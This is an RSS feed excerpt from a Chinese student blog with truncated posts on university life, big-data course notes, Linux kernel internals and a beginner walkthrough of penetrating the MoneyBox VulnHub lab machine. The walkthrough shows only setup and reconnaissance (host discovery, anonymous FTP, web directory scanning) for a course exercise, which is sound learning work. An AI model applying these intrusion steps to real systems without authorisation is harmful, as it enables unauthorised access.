          928宣告了这不甘平庸的三年的结束。过去三年艰苦，但是不乏有趣，总归苦中作乐。正所谓“有得必有失”，有时你只得眼睁睁看着一些东西离去，可只要心底的火苗不熄灭，就总会找到走出黑暗的路。 这篇文章原本题目叫“不甘平庸的三年”，但是第一年就已经写了很长很长。也罢，多写下一些是好的，待我年老之时再读，仿佛又重上了一遍大学。 1. 高考录取——几家欢喜几家愁 收到南大录取通知那天，抑或更早几天有人通知我已经投档的时候，我写下这篇日记。 南大是我从未想过能来的学校——高中时我玩过很多竞赛，不过是希望多几个省二，然后通过自主招生加分进入同济这一档的学校。南大可是只看省一的。不过杯具的是，我们这一届是最后一年自主招生，已经和强基计划接轨，不管省二还是省一都统统不管用了。 也罢，谁叫我语文考了124，比平时多了20分；只可惜理综不太好，终究只能压线进南大，而没有任何其他的选择权。这分数进北航也是好的，可以轻松选到计算机——计算机是2019年高考报名最火热的专业，没有之一。填志愿的时候，我纠结了整整七天，最后决定去南大，闯一下。 结果嘛，幸运地录取上了，不过录什么专业肯定由不得自己。在化生和工科这两个相对“有希望”的专业里，我选择了前者，毕竟化学竞赛出身的我（呸！省二靠后也配称化学竞赛出身？）就算对化学已经没有多少热爱，多少还是有点底子的，而且南大化院我也有所耳闻。 最重要的是，三百六十行，行行出状元啊（这话七大姑八大姨和招生老师讲得耳朵都磨出茧子了吧？ 2. 初入南大——骄傲、惶恐 有同学说自己是“考败来南”的，感觉亏大了。我就不一样了~我当然很乐意告诉别人我考了南大，考入南大在我们这个小镇上是一件很难的事情，我也一分没有浪费，当时录取结果出来之后得到了不知多少称赞。 挺好。那这种骄傲在南大校内就烟消云散了，大家都是南大人嘛！大一主要都是英语和数学课，和高三仍有相似之处。然后，英语分层考试就狠狠地给我上了一课。 怎么会有比高考英语还难懂的东西！高考英语可能会有几句看不懂，但分层考试就是只有几句看得懂了。听力就是直接放了，山西高考英语没有听力，是不是闻所未闻？我暑假听了不少英语听力材料，可在分级考试之下仍是那么苍白。 但是更恐怖的是，我的英语听说和读写都被分到第二层次了（最高是一，最低是四）。在第一节听说课上，老师放了一段音频，让我们和自己的partner Y同学讨论。我能看出来Y同学非常希望和我讨论 数学是另一方面。能考上南大的同学，基本都有数学考140的实力，但我不在其中。为此我认真预习了一个暑假的同济高等数学，吭哧吭哧学完了前两章；结果来南大的第一节课我就怀疑人生了。程序设计基础倒是好些，暑假认真学过了。 也罢也罢！因为预习过了，所以大概能顶下来，只不过很多题都得绞尽脑汁想很久，这时就觉得那些高中省队、铜牌银牌的那些dalao厉害极了，感觉他们什么都会。 3. 踏上另一条荆棘遍生的路 我最初就觉得，化学不应是我的归宿。那么我要去哪里呢？计科？AI？电子？软院？ 嗯。不妨列举一下： 计科什么都好，就是考核有点难AI更好，但是头一年开放转专业，还要学很多高代和数分才行电子要学很多准入课，不过可以一试软院好进，但是地位不如计科，大三还要搬宿舍 那么最后我还是选了计科。挺好，继续学吧！只不过要改很多课……微积分要从二层次变成一层次，还要加入程序设计基础。那段时间各种发邮件、和老师申请换课，还得尽量保留大学化学、普通生物学、基础化学实验等课……加课意味着更加困难的学业挑战，但更糟糕的是，原本的课表大致都是同一批同学在上，可经过调整之后，我的微积分是数理大类课程，程设基础是计科课程，微电子是匡院课程，英语是工试课程，剩下两三节课才是化生课程！这对于性格外向的人简直是如鱼得水，但对我来说就是哪边都认识不到人了。 折腾老半天终于安定下来了，然后我度过了一个安心的国庆假期，刷了很多微积分题。 3.1. 双十事变——传说级危机应对 安定日子过了一个星期，然后在第3周的周四早上，我突然在准入方案中看到，《线性代数》也是计科准入必修课程。请注意，教务员周六和周日放假。 呃……每一节《线性代数》课都和我课表上的课冲突了。命运真喜欢开玩笑，让你看到希望的曙光后带来绝望，却又告诉你，加油，还有机会！没办法，我赶快致信计科教务员： 我脊背一阵发凉！但随即冷静下来，要是真不努力，那前两周的付出就真的全完蛋了啊！可是上午还有可怕的数学课得上，所以我当天下午启动了换课的谋划。这一天史称“双十事变”。 先找到了一节与当前课表冲突幅度最小的线性代数课。它只和英语听说课和普通生物学课有冲突。普通生物学有两个班，必须调去另一个班。好死不死地，另一个班的时间和英语读写课冲突了。我很喜欢听说课的老师，所以在14:33的时候联系她，换去她所带的另一个班级——理由是，她要求每一位同学都有partner，但英语课最多是35人，必定有人落单；好在教务员加课是可以无视这种限制的。不出所料地她同意了我的请求，并联系教务员进行了课程替换。16:28时替换完成。也就和Y同学说拜拜了。有了成功的经验，我试图让读写课老师联系教务员来加课，可这次没有之前的理由，所以失败了。 那天晚上，我发了一条说说。 第二天，我继续谋划。时为周五，这是我的最后一点机会。 09:56，我尝试欺骗教务员，告诉她任课老师已经同意换课，从而让她帮我调换读写和生物两门课程。但是她告诉我，先让我更换英语读写课时间，再调整生物课班级。我很是无奈，只好退了这节读写课，换到另一位“黑榜”老师那里。10:51，我告诉教务员，读写课的冲突已经解决了。教务员随即调整了生物课，双十事变结束。当时我还在上化学实验课，一边等产物一边给教务员致信。 这期间因为感觉课程压力过大，顺便退了大学化学IA。反正我有基础呀，不怕下半年跟不上！ 调整前 调整后 接下来还有一个问题了。线性代数已经上了三周，课程进度怎么办？我借来线代书，满页的行列式拍打在我脸上，让我喘不过气来。10.11上午1-2节，在化学实验之前，我赶忙去这位老师的另外一个线代班，问他能不能补交作业，他语出惊人：“教务系统选课名单已经下来了，没通知有学生补选，我没有义务补收你的作业。” ？？？ 老师“不讲道理”，我自会以德服人。我还是找同学要来了前三周的作业，一边写作业一边学；学不会怎么办？我赶快找到认识的X学长，请他吃顿饭，让他帮我把线代的学习方法和知识点串了串，并指导一下作业。就不求甚解吧，有坑之后再补！就这样，我周日差不多把前三周的作业都写完了，然后周一上课拿着作业，再去问能不能补交。 你猜怎么着？老师喜笑颜开，连连点头，果断收下了作业。 亲爱的读者，你知道这是为什么吗？我直到大三的时候自己做了助教，才从实践中明白一些道理。一方面，当学生以合情合理的理由把作业交到你手上的时候，你很难拒绝；另一方面，我过去当助教的一年间，很多人和我说自己怎么怎么忘记了，然后说要改过自新、补交作业，但我竟没收到一份补交！这种情况教授更是见多了。如果拿着作业去说自己因为什么什么原因需要补交，你讲话的可信度就高很多。 前面我还提到，已经退选了《大学化学IA》。可我后来还是放心不过，又去找了教务员。 然后她的回复是： 这一回复像一根棒槌，重重地砸在我的脑门上。我突然意识到，不管如何emo，都不可能让情况变得更好一些；走上了这么一条路，我唯有奋勇前进，不再回头。 3.2. 编程能力磨炼——从零到一 高考后的暑假，我刷完了翁恺老师的C语言慕课，怎么说也算是有零点一的基础了；可是程设基础课依旧让我觉得非常难受，我往往要在上面花和微积分一样多的时间。但是老师很棒，真的是仙女，这很大程度上为我的道路选择提供了激励。 老师讲得很好，作业难度适中，可惜我实在愚钝，到了期末指针也还是迷迷糊糊；而结构体和链表就完全不用说了，压根没想明白。 大一那个时候，能选到程设基础也已经不是件容易事了。它是计科准入课，很火爆，不知道为什么好像人均要转计科，人手都选一个。因此我深刻明白，要想有把握转过去，必须得有点不一样的东西！...
        </description>
        <pubDate>Fri, 30 Sep 2022 20:40:13 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1341/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1341/</guid>
      </item>
    
      <item>
        <title>网络攻防（一）：MoneyBox靶机萌新全流程详细攻略</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          咕咕两个月，这是保研季后的第一篇博客。尽管考核还没有完全结束，但人已经飘起来了~ 大四的想法就是：选自己以前感兴趣但一直没机会选的课，以及退选有期末考试的课。所以课程补选系统的bug一修复，我便选了期待已久的《网络攻防实战》。然而还是错过了第一次课，群文件的PPT里只说了“熟悉Kali Linux、尝试靶机渗透”，也不知道老师上课的时候进行了什么实操，我只得一点点摸索了……（当然可以问老师上课讲了什么，但我捣鼓着就发现好像不用问了~） 阅读本文只需要Linux基础和计算机网络知识，不需要任何网络安全和网络攻防的前置知识，一点都不需要。因为笔者就没有任何相关经验，硬靠STFW、RTFM和玩Linux带来的直觉完成的。 1. 实验概况 老师在NJU Box上传了Kali Linux攻击机和靶机的磁盘镜像，以及VirtualBox的安装程序。 这里直接给MoneyBox的原链接吧！https://www.vulnhub.com/entry/moneybox-1,653/ 靶机启动后是这样的。 呃，我下意识想问这玩意的账户和密码是多少，进去配置环境，搭好网络，准备实验呗。但是本着“提问的智慧”的原则，我决定先了解一下什么叫“靶机渗透”。 然后，我发现我太天真了。登录靶机不是配置实验环境，而是本次实验的内容。（网安老司机勿喷，本文主要面向网安完全零基础萌新） 2. 环境配置 为了开始实验，需要让攻击机能连上靶机，这把它们放在同一个子网就行，没有理解上的难度，所以在此不画拓扑图。 为此我们在VirtualBox中创建一个Host-only的虚拟网络，如图所示： 找到“主机网络管理器”（怎么找自己去STFW啦），点击创建，就会产生一个虚拟适配器。确保DHCP服务器开启，其他的均保持默认，确认后关闭就行。 接下来前往“设置”，配置靶机和Kali的网络。它们的网卡1都设为Host-only模式，连接到上面产生的虚拟适配器，这样就连到同一网络了；再给Kali的网卡2配一个NAT模式，这样如果需要下载什么工具，还可以通过Host连接到因特网。下面是靶机的配置： 在Kali上验证配置： eth0连接到虚拟网络，CIDR地址为192.168.251.4/24。用nmap，或者netdiscover工具完成子网的嗅探： nmap netdiscover netdiscover的嗅探结果给出了网络中其它各设备的MAC地址，我们将其和上面网络配置截图中靶机的MAC地址相比对，发现正是此人！而nmap的端口分析结果更是印证了这一点。说明环境配置成功了。 3. 初步分析 先获取靶机各端口的详细信息： 漂亮滴很呐（赞赏 ftp和http端口似乎都是好办的，先进去看看有没有值得分析的信息。 3.1. FTP 靶机提供的FTP可以通过匿名登陆来访问文件。很简单，用户名输入anonymous就好了，密码随便输一个。进去把jpg文件下载下来。 来看看什么照片： 是一只希望实现HACK THE PLANET的王道征途的极霸猫 先放着。 3.2. HTTP 在浏览器输入IP地址，看到： 真的很Simple，源代码里啥也没有。 4. 突破第一道防线——SSH 很多东西确实很难想到，只有看了很多靶机渗透的文章之后才有了一点点感觉。 4.1. HTTP网站分析 如果不是STFW我都不知道还能有这么NB的工具存在。不难理解，但就是好用 到底说Kali学得好，牢饭吃到饱，Kali自带的hack工具真有两下子的 点进第三个扫描出来的blog网站看一看： 有一个秘密目录叫S3cr3t-T3xt，那这dirb肯定扫描不出来的吧？只能手动输入看看...
        </description>
        <pubDate>Thu, 08 Sep 2022 00:18:31 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1193/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1193/</guid>
      </item>
    
      <item>
        <title>大数据实验课复习提纲（四）——Spark</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          1. 为什么需要Spark？

MapReduce可以高效执行批处理任务，但无法应对实时计算的需求MapReduce缺乏Job间的数据共享原语，但通过HDFS共享是低效的MapReduce提出的时代，内存稀缺，因此没有考虑充分利用内存计算，目前看来这是性能低下的MapReduce对于复杂计算表现力差

2. Spark的优点

高速：内存计算比MR快100倍易用性：可在多种编程语言平台上使用广泛性：综合了SQL、流式计算和复杂分析等多种领域多处运行：可以在很多平台上运行，数据来源亦十分广泛

Spark还提出了弹性分布式数据集（RDD）。由于再大的内存也很难放下计算需要的所有数据，这一数据集可以存放在内存中，也可以在磁盘中，这便是“弹性”的含义。Spark通过对RDD操作来完成计算。

3. Spark基本构架和组件



Spark上层有包括SQL、Streaming等多种工具，反映广泛性；底层可由YARN、Mesos或直接在本地运行等，反映多处运行。

Spark系统的基本结构是，一个Master节点，多个Worker节点，和MapReduce如出一辙。此外Worker节点下有Executor，负责完成Task程序的执行。不知道这样的设计是不是和YARN保持了一致。

为了知道Spark怎么运作，我们还需要知道Spark应用程序的基本结构。这一程序横跨整个系统，但整体上而言，是由一个Driver Program和多个Executor构成的。程序可能会执行多个Job，每个Job又包含多个Stage，每个Stage由多个Task组成，这是程序的基本执行单元，在Executor上执行。（说了这么多背书的东西，还不如直接去看源码好。）



3.1. Driver



Driver创建SparkContext，它包含了可执行的RDD有向无环图，并构建基于Stage的有向无环图。TaskScheduler解析这些信息，并发起调度，将Task分发给Executor执行。

3.2. Worker



CoarseGrainedExecutorBackend进程包含Executor对象，它持有一个线程池，里面有很多Task，不同线程可共享内存资源。一个Worker只能有一个Executor，一一对应，然而一个Worker node下可以有多个Worker。

3.3. Spark程序运行机制



Client提交应用，Master节点启动Driver。Driver向Cluster Manager申请资源，并启动SparkContext。这里的Cluster Manager就像YARN中的Resource Manager一样，而Driver则是ApplicationMaster。SparkContext向Cluster Manager申请Executor资源，并启动CoarseGrainedExecutorBackend作为Executor。Executor向SparkContext申请Task，并获得执行的代码。

总而言之，在集群模式下运行，它的大体步骤就是由YARN来限定的。如果还不清楚YARN是什么，没关系，这篇文章综合了YARN和MapReduce，可以解答你的疑惑。

任务是以这样的方式来体现的：



这是RDD的有向无环图，RDD在map、filter等映射的作用下不断变化，最终产生计算结果。每个RDD由多个Partition组成，这是Task作用的基本单位。



如刚才所述，这是Stage的有向无环图。Stage作用的单位是RDD，Task作用的单位是Partition，读者应能体会到这种分层关系。

所以有了DAG，我们就有机会找出DAG中存在并行的部分，并将其调度到不同的Executor上执行。

4. Spark程序模型

RDD支持两种类型操作：

转换（transformation）：它定义了新的RDD，但并不立即计算其中的值。例如filter操作，这和python中的filter一致，是惰性的。动作（action）：立即计算RDD，并返回结果给程序，或写入外存储。例如计算count。

RDD有两种容错方式：

Lineage：RDD可以只记录变换，但不存储实际数据，即可完成数据恢复CheckPoint：若lineage太长，这一恢复过程也较慢，因此设置CheckPoint就是最稳妥的选择

RDD之间的依赖关系：

窄依赖：父RDD的一个Partition最多被子RDD的一个Partition所依赖宽依赖：父RDD的一个Partition被子RDD的多个Partition所依赖



窄依赖对优化更有利。一方面，父RDD分区只把数据发送给一个子RDD分区即可；另一方面，如果子RDD分区寄了，父RDD重新计算不会带来冗余。看下面的宽依赖，b1损坏之后，a1、a2、a3都会重算，那么对于b2来说这是一种冗余。



RDD持久化的存储策略包括：

未序列化的Java对象，存储于内存中。它的性能最好，可以直接访问内存中的RDD对象。序列化数据，存储与内存中。它便于内存存储，但代价是需要反序列化才能使用。磁盘存储。它适用于RDD太大时的情形，但是重新计算RDD会带来巨大的开销。

        </description>
        <pubDate>Sat, 18 Jun 2022 14:50:28 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1108/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1108/</guid>
      </item>
    
      <item>
        <title>大数据实验课复习提纲（三）——MapReduce算法设计</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          本篇讲述入门的MapReduce算法，表述不加斟酌，可能非常抽象且思维流，有疑问的朋友请随时提问。 注意，本文提到的Mapper和map是不一样的，Reducer同理，请读者务必加以区分。Mapper是一个类，它包含一个方法叫map，故一个Mapper实例可以多次调用map方法。 1. 排序算法 弄懂排序算法算是搞清MapReduce的第一步。最简单的，为一堆数字排序。map和reduce的配置也是最简单的，默认即可。 为了搞明白为什么这样就能排序，我们得知道，MR框架中sort发生在Reducer上，它在执行reduce前会对到来的数据进行归并排序。要是能让Mapper把所有数据都发给同一个Reducer，那这一步就把所有数据给排序了。再复杂点的，比如对学生成绩排序。Mapper处理输入数据，然后将成绩作为key输出，其它内容都塞到value里。Reducer会自动对这些key排序，reduce函数中重新将数据组合起来并以合适形式输出即可。 最关键的在于如何把所有数据塞到一个Reducer里——或者，塞到有限的几个Reducer里，比如0到99划成一组，100到199划成一组，以此类推。这就用到了TotalOrderPartitioner，它会执行采样，大概了解数据的分布情况，然后从采样数据内定出划分点，这样就能使划分的每一组内有差不多数量的数据。这些不同的分组被发送给不同的Reducer，它们对每一分组内的数据排序，然后写入到各自的输出文件里。 2. 单词同现矩阵算法 统计任两个单词在一定范围内同现的次数。Mapper的输入就是一个窗口内的所有单词，然后其中的单词两两组合作为key输出即可。Reducer的设计自然不需多言。 还可以做一点优化。两两组合输出中间结果比较浪费带宽，不如把它们部分组合一下，就像这样： 3. 可扩展文档倒排索引算法 根据词语，定位它出现在哪个文档中。Mapper的输入是各个词语以及它所在的文档，输出……当然也是词语和它所在的文档。Reducer将它们整合在一起即可。不过在Mapper中，词语所在的文档是通过一个context变量来获取的，这点只要做过实验就知道。实验还是很有用的。 要是希望同时统计单词位置、文档等多种属性，那有必要借助一些map和reduce之外的设施。例如，LineRecordReader可以向Mapper传入行首单词的位置。Mapper将读取到的行断开，对产生的每个词生成一个中间结果，其中每个词所包含的属性都作为value输出出来。 再整个刺激的，将某个单词所有的occurence按照文档名排序。排序这事说着简单，但量一大就不方便直接调用函数进行内存中排序，所以最好利用MapReduce自带的排序机制。这里涉及到一个小trick叫键值转换，排序的关键不就在于key吗，那好，我们要对文档名排序，就直接把文档名塞到key里，并确保把同一个单词的所有中间结果发射到同一个Reducer中。决定发射到哪个Reducer，这件事是Partitioner做的，所以实现上述的目标，需要实现一个自定义的Partitioner。 reduce函数每次只处理一个中间结果，但是不同的中间结果是按照键的顺序排列的，例如第一次对reducer的调用，传入的参数可能是&amp;lt;&amp;lt;word1, 1.txt&amp;gt;, [p1, p2, ...]&amp;gt;，第二次可能是&amp;lt;&amp;lt;word1, 2.txt&amp;gt;, [p1, p2, ...]&amp;gt;，第三次可能是&amp;lt;&amp;lt;word2, 1.txt&amp;gt;, [p1, p2, ...]&amp;gt;，等等。这带来了非常好的性质：同一个word的各个中间结果是连续输入到reduce函数中的，因此我们只需在Reducer类中设定一些用于缓存这些中间结果的数据结构，就可以轻易实现该word各个属性的合并。 4. 专利文献数据分析 现给定专利引用关系，要求统计各专利被引情况。这不就是倒排索引么？Mapper将被引的专利编号作为key输出即可，至于要统计被引次数还是引用者列表，由value的内容决定。 统计了被引次数之后还可以统计被引次数直方图，这和WordCount是一样的，只不过这里是统计被引次数的出现次数罢了，被引次数前面出现的专利名称会被忽略掉。 专利文献的更多问题懒得描述啦，换汤不换药，琢磨透可扩展带属性文档倒排索引就可以应付所有这些简单算法。 5. 多数据源的连接 这玩意很烦，要连接数据源直接用Hive多好？但是本着要学会造轮子的态度，还是认真学习一下。课本上讲的是老版本MapReduce的DataJoin类，这是早就弃用的老版本API，扩展性不大行。不过我们在这说说思路，辅以真实代码，应对考试完全不慌。 首先是Mapper类，要实现3个方法。generateInputTag用于生成数据源标签。设想要连接两个不同的文件，我们要确保Reducer处理的时候知道这些数据分别来自哪些数据源，所以要这样标记一下，例如将包含该数据源的文件名作为tag。generateGroupKey和generateTaggedMapOutput分别用于生成Mapper中间结果的键和值。 看看MapReduce的框架代码，把这三个函数串起来： 从框架代码我们可以知道，输入到Mapper的key不被使用，value是数据表的一条记录，也许是用LineRecordInputFormat完成的。 了解了Mapper的输入输出，接下来看看Reducer的输出。拥有同样GroupKey的数据被发射到同一个Reducer。reduce函数则在一系列处理后最终调用到用户自定义的combine函数，完成连接处理。这是combine的原型： tags表示数据源的来源标签，和上面generateInputTag说的是一回事。values则顺次存放了来自各数据源的数据。用户可在combine中自行完成连接，并使用context.write完成结果输出。 6. PageRank算法 6.1. 算法分析 PR的基本思想：被多个优质网页链接的网页，多半也是优质网页。我们用指向来表示链接关系，这样各网页就形成了有向图。如何评价一个网页有多优质？可以用这个简单的公式： 说形象点，就是一群人互相投票，nb的人有更多票。每个人都有一些自己认可的人，并把自己的票平分，投给这些人。投票结束后，每个人都算算自己得了多少票，得票越多越nb，然后开始下一轮的投票。这一过程会渐渐收敛，也就可以选出真正nb的人。 然而，每个人投票的行为在每一轮都是相同的，即把自己的选票均分给自己认可的人，这一认可和均分的关系不随票数的改变而改变。用矩阵相乘可以简洁明了地反映投票的过程： 这个问题实际上变成了求解特征值为1的特征向量的问题。不巧的是，H每列元素和为1，所以必有这样的特征向量，证明方法留给读者自行思考（x...
        </description>
        <pubDate>Sat, 18 Jun 2022 00:03:45 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1098/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1098/</guid>
      </item>
    
      <item>
        <title>大数据实验课复习提纲（二）——大数据三件套和开源版实现</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          1. MapReduce理论 1.1. MapReduce的基本思想 如何对付大数据处理：分而治之上升到抽象模型：Mapper与Reducer上升到构架：统一构架，为程序员隐藏系统底层细节 1.2. 分而治之 不可分拆的计算任务或相互间有依赖关系的数据无法进行并行计算，例如求解斐波那契数列。 1.3. 构建抽象模型：Map和Reduce 典型流式大数据问题的特征： 大量数据记录/元素进行重复处理（Map）对每个数据记录/元素作感兴趣的处理、获取感兴趣的中间结果信息（Map）排序和整理中间结果以利后续处理收集和整理中间结果（Reduce）产生最终结果输出（Reduce） map：将一种键值对转化为另一种键值对 reducer：将一组键值对经过整理后产生一种新的键值对 1.4. MapReduce构架 1.4.1. 主要需求和目标 实现自动并行化计算为程序员隐藏系统层细节 1.4.2. MapReduce的功能 计算任务的划分和调度数据的分布存储和划分处理数据与计算任务的同步结果数据的收集整理(sorting, combining, partitioning...)系统通信、负载平衡、计算性能优化处理处理系统节点出错检测和失效恢复 MapReduce最大的亮点是，将需要做什么和具体怎么做分开了，程序员只需编写少量处理问题本身的代码。 具体而言： 任务调度：将一个job划分为很多task，框架会为这些任务分配和调度map和reduce节点，并监控执行状态、负责map同步控制、进行计算性能优化处理等。数据/代码互定位：本地化数据处理，即节点尽可能处理本地磁盘的数据，这是一种代码向数据的迁移。反之，也可以将数据迁移至离数据尽可能近的节点，这时数据向代码的迁移。出错处理：检测并隔离出错节点，并分配新节点以执行计算任务。分布式数据存储和文件管理：海量数据分布式存储；多备份容错处理Combiner和Partitioner：前者可用于减少数据通信开销，后者可以按特定策略将mapper的输出划分到同一reducer节点 1.5. MapReduce的主要设计思想和特点 向“外”横向扩展，而非向“上”纵向扩展：大量低端服务器组成高性能集群失效被认为是常态：但不会因为节点失效而影响计算服务的质量把处理向数据迁移：数据/代码互定位顺序处理数据、避免随机访问数据：大规模数据访问，随机访问效率很低为应用开发者隐藏系统层细节：省去并行化、容错、同步、收集、存储等细节平滑无缝的可扩展性：计算性能随节点数目增长保持几乎线性增长 2. Google MapReduce MapReduce是Google于2004年在计算机系统顶级会议OSDI上发表的成果，大数据课没让大家拜读一下原著属实觉得有些遗憾。 MapReduce: Simplified Data Processing on Large Clusters下载 2.1. 基本流程 数据按64MB划分，准备由相应用户作业程序处理；系统中有负责调度的Master节点和数据处理工作节点Map和Reduce用户提交作业给Master节点，后者寻找和配备可用的Mapper或Reducer节点主节点启动Map节点读取数据，它们尽可能读取本地或本机架的数据，然后执行map和combine处理map结束后将结果键值对写入本地存储，并告知Master节点结果文件的存放位置主节点启动Reduce节点，它们根据从Master节点获取的信息，远程读取map的中间结果，执行reduceReduce节点将结果写入输出文件 为什么Master节点和用户节点不是一个节点？ Master节点负责全局资源管理，而用户节点可能会有很多，不方便管理资源Master节点在集群内，和其它工作节点之间带宽大 为什么由Mapper在本地磁盘写入中间结果？为什么不能直接发射给对应Reducer？ 首先显然不能写入本地内存，大数据会很“大”；其次若直接发射给对应Reducer，当某个Reducer崩溃，它所拥有的所有相应Mapper的中间结果都用不了了，它们没有备份，只能让所有相应Mapper重新执行任务；反之若写入本地磁盘，Mapper崩溃的话只需重新执行该Mapper的任务即可。 2.2. 失效处理...
        </description>
        <pubDate>Thu, 16 Jun 2022 17:46:23 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1096/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1096/</guid>
      </item>
    
      <item>
        <title>大数据实验课复习提纲（一）——概述</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          一门5学分综合实验课，期末考试竟然占到50%，呃……私以为浪费时间，还不如平时多写一点代码、基于对框架的理解做性能调优来得更好。然而课程设计者可能有他们的考虑，这我就不了解了。 兵来将挡，水来土掩——启动思政课复习模式。 1. 为什么需要并行计算？ 首先，为了提高计算性能；其次，为了通过期末考试。 1.1. 提高计算机性能的主要手段 提高处理器字长提高集成度流水线等微体系结构技术提高处理器频率 然而，这些手段几乎到达极限，因为： 受量子隧穿效应限制，集成度不能无限提高指令并行度提升已达极限继续提升频率会使功耗和散热超出芯片承受能力存储和计算的速度差异越来越大 1.2. 并行计算 Intel升频失败后，开始转向多核和众核计算。 当今Web规模数据量爆炸增长以及超大的计算量和计算复杂度，促使了对并行计算的需求。 越来越多的研究和应用领域将需要并行计算技术，它将对传统的计算技术产生革命性的影响。 2. 并行计算技术的分类 2.1. 按数据和指令处理结构分类（Flynn分类） SISD单指令单数据流：传统单处理器串行处理SIMD单指令多数据流：向量机、信号处理系统MISD多指令单数据流：罕见MIMD多指令多数据流：基本都是这个 2.2. 按并行类型分类 位级并行指令级并行线程级并行（包括数据级并行和任务级并行） 2.3. 按存储访问结构分类 共享内存（例如SMP等）分布共享存储体系结构（有本地存储器和全局存储器）分布式内存（仅本地存储器，例如NUMA） 2.4. 按系统类型分类 多核/众核并行计算系统MC（一个处理器内有多核）对称多处理系统SMP（多个处理器以总线互联共享内存）大规模并行处理MPP（由内联网连接的处理器系统）集群网格（远距离、异构计算机） 2.5. 按计算特征分类 数据密集型并行计算（数据量极大，如Web信息检索）计算密集型并行计算（计算非常复杂，如气象预报、科学计算）数据密集和计算密集混合型并行计算（如3D电影渲染） 2.6. 按并行程序设计模型/方法分类 共享内存变量（pthread、OpenMP，共享存储器，需要同步控制）消息传递方式（MPI，多用于分布式内存结构）MapReduce方式 3. 并行计算的主要技术问题 多核/多处理器网络互联结构技术存储访问体系结构分布式数据和文件管理并行计算任务的分解和算法设计并行程序设计模型和方法（见2.6）数据同步访问和通信控制可靠性设计和容错（包括数据、系统和任务失效）并行计算软件框架平台（自动化并行处理、高可扩展性）系统性能评估、程序并行度评估（Amdahl定律：程序加速比的上限由程序的可并行比例决定，S=1/((1-P)+P/N)） 4. MPI并行程序设计 4.1. MPI的特点 灵活性好，适用于各种计算密集型任务可移植性好很多开放厂商支持 4.2. MPI的不足 无良好的数据和任务划分支持缺少分布式文件系统，不支持分布式数据管理通信开销大没有节点失效恢复机制没有良好构架，程序员需考虑细枝末节 5. 为什么需要大数据并行处理技术？ 因为要通过期末考试 5.1....
        </description>
        <pubDate>Tue, 07 Jun 2022 12:01:58 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1089/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1089/</guid>
      </item>
    
      <item>
        <title>【Linux】内核番外篇（一）——内核编译和链接</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          万丈高楼平地起，内核的映像再复杂，也是由一个一个的文件编译、组装而成的，只不过其中的门道要比作业和Lab里的技术复杂太多了。本篇将对内核编译作一个简单的探索。 接下来的车速很快，阅读过程中感到不适请先移步老司机带你探索内核编译系统中的相应部分，作者以生动有趣的口吻讲解了下面几乎所有的知识和技巧。本文因此不重复造轮子，侧重于探索得到的结果。 1. 单个文件编译 在命令行输入： make net/ipv4/af_inet.o 我们将探寻该命令背后的机制。这里面的target不是常量字符串，所以Makefile中一定会有相应的匹配机制。我们找找看%.o： single-targets := %.a %.i %.ko %.lds %.ll %.lst %.mod %.o %.s %.symtypes %/ 虽然没找到对应的target，但有了一个变量。继续往下找： # We cannot build single targets and the others at the same time ifneq ($(filter $(single-targets), $(MAKECMDGOALS)),) single-build := 1 ifneq ($(filter-out $(single-targets), $(MAKECMDGOALS)),) mixed-build := 1 endif...
        </description>
        <pubDate>Thu, 28 Apr 2022 15:33:10 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1068/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1068/</guid>
      </item>
    
      <item>
        <title>【Linux】网络专题（六）——网络栈重传时机梳理</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          在上一节中我们从tcp_ack自顶向下分析，找到了网络栈的重传入口——__tcp_transmit_skb，本节我们会尽可能全面地梳理该函数是从哪条路径被调用到的。 1. 谁调用了__tcp_transmit_skb？ 答： tcp_output.c: tcp_retransmit_skbtcp_output.c: tcp_send_loss_probetcp_input.c: tcp_rcv_fastopen_synack 前一种是标准的重传接口，会在调用__tcp_transmit_skb后进行报文段数和时间戳的记录；后两种直接调用__tcp_transmit_skb进行重传，它们对应的情况更少，我们先从它们入手。 2. 直接调用__tcp_transmit_skb的情况 2.1. Tail Loss Probe (TLP) 尾丢包不会带来任何的dupACK，因此FR无法生效；为此Google的大神们提出TLP，这是一个用于解决因尾丢包而导致RTO的算法。TCB有一个Probe Timeout计时器，每次发包后，当PTO到来时，内核会采用超时处理机制。这一机制实现于tcp_send_loss_probe。 首先检查是否有未发送的包。为减少RTO处理启动的可能，先从队首挑一个报文段并尝试交给IP层进行发送。tcp_write_xmit的参数“2”表示暂时忽略cwnd的限制，强制发送一个报文段。 如果发送成功，会将tp-&amp;gt;tlp_high_seq置为snd_nxt，之后接收ACK的时候就会触发FR。 tp-&amp;gt;tlp_retrans = 0; skb = tcp_send_head(sk); if (skb &amp;amp;&amp;amp; tcp_snd_wnd_test(tp, skb, mss)) { pcount = tp-&amp;gt;packets_out; tcp_write_xmit(sk, mss, TCP_NAGLE_OFF, 2, GFP_ATOMIC); if (tp-&amp;gt;packets_out &amp;gt; pcount) goto probe_sent; goto rearm_timer; }...
        </description>
        <pubDate>Sun, 10 Apr 2022 00:18:49 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/1005/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/1005/</guid>
      </item>
    
      <item>
        <title>【Linux】网络专题（四）——核心数据结构sock族类和net_device</title>
        
